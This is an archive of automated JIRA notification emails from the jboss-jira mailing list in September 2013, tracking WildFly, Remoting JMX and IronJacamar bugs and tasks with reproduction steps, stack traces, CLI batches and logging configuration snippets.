This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 15:56:45 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 24 Sep 2013 15:56:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2150) Rethink
 OperationContextImpl.getBasicAuthorizationResponse
In-Reply-To: <JIRA.12501432.1380052504894@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501432.1380052504894@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501432.1380052504894.2418.1380052605165@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2150:
--------------------------------------

             Summary: Rethink OperationContextImpl.getBasicAuthorizationResponse
                 Key: WFLY-2150
                 URL: https://issues.jboss.org/browse/WFLY-2150
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


OperationContextImpl.getBasicAuthorizationResponse is designed around the "pass" case. It tests all action effects but discards data if any fail. This is ok in the normal case where things will pass. But in the read-resource-description and recursive read-resource cases, where things may often fail with the failure being recorded as expected (i.e. non-failure) output, this approach is inefficient, because the caller is forced to re-authorize to get the discarded data.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 16:15:45 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 24 Sep 2013 16:15:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2146) Domain testsuite classes are
 leaking remoting Endpoints
In-Reply-To: <JIRA.12501424.1380046046000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501424.1380046046000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501424.1380046046000.2448.1380053745747@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2146?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2146:
-----------------------------------

    Description: 
DomainControllerClientConfig creates a remoting endpoint. Not all uses of this class are closing it, thus leaking endpoints.

This is a factor in some of the recent testsuite instability where runs are failing due to reaching user process limits. At the max, the leak results in 68 extra threads.

  was:
DomainControllerClientConfig creates a remoting endpoint. Not all uses of this class are closing it, thus leaking endpoints.

This is a factor in some of the recent testsuite instability where runs are failing due to recent user process limits. At the max, the leak results in 68 extra threads.


    
> Domain testsuite classes are leaking remoting Endpoints
> -------------------------------------------------------
>
>                 Key: WFLY-2146
>                 URL: https://issues.jboss.org/browse/WFLY-2146
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management, Test Suite
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> DomainControllerClientConfig creates a remoting endpoint. Not all uses of this class are closing it, thus leaking endpoints.
> This is a factor in some of the recent testsuite instability where runs are failing due to reaching user process limits. At the max, the leak results in 68 extra threads.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:08:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:08:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1507) Investigate failure in
 StatefulWithXPCFailoverTestCase
In-Reply-To: <JIRA.12494123.1371055191000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494123.1371055191000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494123.1371055191000.2658.1380067725216@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1507?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807054#comment-12807054 ] 

RH Bugzilla Integration commented on WFLY-1507:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 963610|https://bugzilla.redhat.com/show_bug.cgi?id=963610] from NEW to MODIFIED
                
> Investigate failure in StatefulWithXPCFailoverTestCase
> ------------------------------------------------------
>
>                 Key: WFLY-1507
>                 URL: https://issues.jboss.org/browse/WFLY-1507
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: jaikiran pai
>            Assignee: Paul Ferraro
>            Priority: Blocker
>             Fix For: 8.0.0.Alpha2
>
>         Attachments: log2.txt
>
>
> Numerous exceptions are reported and the tests fails intermittently but often in StatefulWithXPCFailoverTestCase.
> Entire logs attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.2667.1380069585959@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807056#comment-12807056 ] 

RH Bugzilla Integration commented on WFLY-1547:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 901210|https://bugzilla.redhat.com/show_bug.cgi?id=901210] from MODIFIED to ON_QA
                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:46 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate JMRuntimeException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.2680.1380069586550@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807058#comment-12807058 ] 

RH Bugzilla Integration commented on REMJMX-68:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001] from MODIFIED to ON_QA
                
> ClientConnection should propagate JMRuntimeException
> ----------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.Final, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:46 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1083) PreparedStatement cache
 constraints not maintained
In-Reply-To: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500678.1379075076000.2683.1380069586900@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1083?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807059#comment-12807059 ] 

RH Bugzilla Integration commented on JBJCA-1083:
------------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1008763|https://bugzilla.redhat.com/show_bug.cgi?id=1008763] from MODIFIED to ON_QA
                
> PreparedStatement cache constraints not maintained
> --------------------------------------------------
>
>                 Key: JBJCA-1083
>                 URL: https://issues.jboss.org/browse/JBJCA-1083
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: JDBC
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.21.Final, 1.1.1.Final
>
>
> The PreparedStatement cache doesn't maintain its constraint on the number of cached entries

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:47 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:47 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-72) Release Remoting JMX
	1.1.1.Final
In-Reply-To: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500955.1379530173000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500955.1379530173000.2686.1380069587169@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/REMJMX-72?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807060#comment-12807060 ] 

RH Bugzilla Integration commented on REMJMX-72:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1007001|https://bugzilla.redhat.com/show_bug.cgi?id=1007001] from MODIFIED to ON_QA
                
> Release Remoting JMX 1.1.1.Final
> --------------------------------
>
>                 Key: REMJMX-72
>                 URL: https://issues.jboss.org/browse/REMJMX-72
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Build
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.Final
>
>
> Release 1.1.1.Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:47 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:47 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.2699.1380069587758@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807061#comment-12807061 ] 

RH Bugzilla Integration commented on WFLY-1547:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1004383|https://bugzilla.redhat.com/show_bug.cgi?id=1004383] from MODIFIED to ON_QA
                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:48 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:48 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2106) IBM JDK, Error Shutting Down,
 SecurityException: unable to instantiate Subject-based policy
In-Reply-To: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500949.1379521705000.2707.1380069588108@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2106?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807063#comment-12807063 ] 

RH Bugzilla Integration commented on WFLY-2106:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1006876|https://bugzilla.redhat.com/show_bug.cgi?id=1006876] from MODIFIED to ON_QA
                
> IBM JDK, Error Shutting Down, SecurityException: unable to instantiate Subject-based policy
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2106
>                 URL: https://issues.jboss.org/browse/WFLY-2106
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Kabir Khan
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> full stacktrace:
> [0m[31m02:50:22,461 ERROR [org.jboss.as.controller.management-operation] (management-handler-thread - 1) JBAS014612: Operation ("read-attribute") failed - address: ([]): java.lang.SecurityException: unable to instantiate Subject-based policy
> 	at javax.security.auth.Policy.getPolicyNoCheck(Policy.java:268) [rt.jar:1.6.0]
> 	at javax.security.auth.Policy.getPolicy(Policy.java:219) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner$5.run(SubjectDomainCombiner.java:513) [rt.jar:1.6.0]
> 	at java.security.AccessController.doPrivileged(AccessController.java:228) [vm.jar:]
> 	at javax.security.auth.SubjectDomainCombiner.compatPolicy(SubjectDomainCombiner.java:509) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner.combine(SubjectDomainCombiner.java:223) [rt.jar:1.6.0]
> 	at java.security.AccessController.getContext(AccessController.java:167) [vm.jar:]
> 	at org.jboss.as.controller.SecurityActions$CreateCallerActions$1.getCaller(SecurityActions.java:151)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 24 20:39:47 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:47 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2076) SSL configuration leads to
	500 Error Page
In-Reply-To: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500492.1378898715000.2703.1380069587916@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2076?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807062#comment-12807062 ] 

RH Bugzilla Integration commented on WFLY-2076:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1006803|https://bugzilla.redhat.com/show_bug.cgi?id=1006803] from MODIFIED to ON_QA
                
> SSL configuration leads to 500 Error Page
> -----------------------------------------
>
>                 Key: WFLY-2076
>                 URL: https://issues.jboss.org/browse/WFLY-2076
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:48 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:48 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501339.1379968181000.2713.1380069588331@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2139?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807066#comment-12807066 ] 

RH Bugzilla Integration commented on WFLY-2139:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1010672|https://bugzilla.redhat.com/show_bug.cgi?id=1010672] from MODIFIED to ON_QA
                
> ProxyStepHandler/Controller need to check access before attempting to read information
> --------------------------------------------------------------------------------------
>
>                 Key: WFLY-2139
>                 URL: https://issues.jboss.org/browse/WFLY-2139
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> This affects things like recursive :read-resource(-description) :read-children-resources and so on. The problem as it stands is that if you have, say, a host scoped role scoped to host=master, and there is also a slave host controller, and you try to :read-resource(recursive=true,proxies=true), the master will list the slave host controller in its list of child addresses. It will then execute /host=slave:read-resource(recursive=true,proxies=true), which will fail and roll back the tx since the master host scoped role does not have access to that resource.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:48 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:48 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2069) can not switch from connector
 to discovery-group-name for JMS (pooled-) connection factories
In-Reply-To: <JIRA.12500687.1379080160000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500687.1379080160000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500687.1379080160000.2716.1380069588472@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2069?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807067#comment-12807067 ] 

RH Bugzilla Integration commented on WFLY-2069:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1001612|https://bugzilla.redhat.com/show_bug.cgi?id=1001612] from MODIFIED to ON_QA
                
> can not switch from connector to discovery-group-name for JMS (pooled-) connection factories 
> ---------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2069
>                 URL: https://issues.jboss.org/browse/WFLY-2069
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Beta1
>
>
> connectors and discovery-group-name are alternative attributes of JMS (pooled) connection factories.
> If a resource defines one of this attribute, it must be able to "switch" to the other by running a batch command to:
> 1. undefine the attribute
> 2. write the value of the other attribute
> This currently does not work:
> {noformat}
> [standalone at localhost:9999 /] batch
> [standalone at localhost:9999 / #] /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:undefine-attribute(name=connector)
> #1 /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:undefine-attribute(name=connector)
> [standalone at localhost:9999 / #] /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:write-attribute(name=discovery-group-name,value=dg-group1)
> #2 /subsystem=messaging/hornetq-server=default/connection-factory=RemoteConnectionFactory:write-attribute(name=discovery-group-name,value=dg-group1)
> [standalone at localhost:9999 / #] run-batch
> {"JBAS014653: Composite operation failed and was rolled back. Steps that failed:" => {"Operation step-1" => "JBAS011630: Alternative attribute of (connector) is already defined."}}
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:48 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:48 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5107) define connectors as
 alternatives to discovery-group
In-Reply-To: <JIRA.12469832.1341326802000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469832.1341326802000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469832.1341326802000.2710.1380069588216@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-5107?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807065#comment-12807065 ] 

RH Bugzilla Integration commented on AS7-5107:
----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1001612|https://bugzilla.redhat.com/show_bug.cgi?id=1001612] from MODIFIED to ON_QA
                
> define connectors as alternatives to discovery-group
> ----------------------------------------------------
>
>                 Key: AS7-5107
>                 URL: https://issues.jboss.org/browse/AS7-5107
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: JMS
>    Affects Versions: 7.1.2.Final (EAP)
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: EAP 6.1.0.Alpha (7.2.0.Final)
>
>
> cluster-connections, bridges and JMS connection factories must define either connectors or discovery-group but not both.
> The choice is handled in the messaging susbsystem parser but it's not enforced by the attributes' definitions. Admin operations are not shielded against a misconfiguration by changing directly these attributes

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:48 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:48 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.2728.1380069588879@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807070#comment-12807070 ] 

RH Bugzilla Integration commented on WFLY-2049:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1010662|https://bugzilla.redhat.com/show_bug.cgi?id=1010662] from MODIFIED to ON_QA
                
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:48 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:48 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2093) No any log generated after
 changing periodic-rotating-file-handler to size-rotating-file-handler
In-Reply-To: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500810.1379401775000.2722.1380069588651@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2093?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807068#comment-12807068 ] 

RH Bugzilla Integration commented on WFLY-2093:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1008806|https://bugzilla.redhat.com/show_bug.cgi?id=1008806] from MODIFIED to ON_QA
                
> No any log generated after changing periodic-rotating-file-handler to size-rotating-file-handler
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2093
>                 URL: https://issues.jboss.org/browse/WFLY-2093
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: Xiaohui Wu
>            Assignee: James Perkins
>
> There is no any log in the server.log after changing periodic-rotating-file-handler to size-rotating-file-handler.
> The reproduce steps:
> 1. remove the part periodic-rotating-file-handler in standalone.xml
>             <periodic-rotating-file-handler name="FILE">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss.SSS} %-5p [%c] (%t) %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <suffix value=".yyyy-MM-dd"/>
>                 <append value="true"/>
>             </periodic-rotating-file-handler>
> 2. add one size-rotating-file-handler
>             <size-rotating-file-handler name="FILE" autoflush="true">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p (%c) [%t] %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <rotate-size value="500k"/>
>                 <max-backup-index value="15"/>
>                 <append value="true"/>
>             </size-rotating-file-handler>
> 3. start the jboss server, then you will see there is a warning in the server.log and no any further logs in the server.log.
> 13:23:28,205 WARN  [org.jboss.as.logging] (Controller Boot Thread) JBAS011511: Replacing handler 'FILE' during add operation. Either the handler type or the module name differs from the initial configuration.
> The possible fix: 
> https://issues.jboss.org/browse/WFLY-178 the code change is in https://github.com/wildfly/wildfly/pull/4137 
> and the bugzilla is in EAP6.1.0: 
> https://bugzilla.redhat.com/show_bug.cgi?id=918103
> But this issue still exists in 6.1.1
> Best Regards,
> Vicky

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 20:39:48 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 20:39:48 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1821) Update to web console
	2.0.0.Final
In-Reply-To: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497938.1375694061000.2731.1380069588970@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1821?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807072#comment-12807072 ] 

RH Bugzilla Integration commented on WFLY-1821:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 1003533|https://bugzilla.redhat.com/show_bug.cgi?id=1003533] from MODIFIED to ON_QA
                
> Update to web console 2.0.0.Final
> ---------------------------------
>
>                 Key: WFLY-1821
>                 URL: https://issues.jboss.org/browse/WFLY-1821
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
